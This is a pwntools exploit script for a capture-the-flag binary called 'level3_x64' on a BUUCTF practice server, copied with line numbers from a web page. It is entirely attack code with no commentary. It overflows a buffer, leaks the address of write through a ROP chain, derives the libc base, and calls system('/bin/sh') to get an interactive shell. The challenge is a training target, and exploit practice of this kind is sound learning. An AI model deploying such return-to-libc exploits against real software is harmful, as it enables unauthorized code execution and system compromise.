1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * from LibcSearcher import *
context(log_level='debug', os='linux', arch='amd64') io = remote('node4.buuoj.cn', 27818)
elf = ELF("./level3_x64")
padding = 0x80 + 0x8 write_plt = elf.symbols['write'] write_got = elf.got['write'] main = elf.symbols['main'] delims = b'Input:\n' pop_rdi_ret = 0x4006b3 pop_rsi_r15_ret = 0x4006b1
payload = flat(b'a' * padding, pop_rdi_ret, 1, pop_rsi_r15_ret, write_got, 0, write_plt, main) io.sendlineafter(delims, payload)
write_addr = u64(io.recv(6).ljust(8, b'\x00')) print('[+] write_address -->', hex(write_addr))
libc = ELF('./libc-2.23.so') libc_base = write_addr - libc.symbols['write'] system = libc_base + libc.symbols['system'] bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__() print('[+] libc_base -->', hex(libc_base)) print('[+] system_address -->', hex(system)) print('[+] bin_sh -->', hex(bin_sh))
payload = flat(b'a' * padding, pop_rdi_ret, bin_sh, system) io.sendlineafter(delims, payload) io.interactive()
|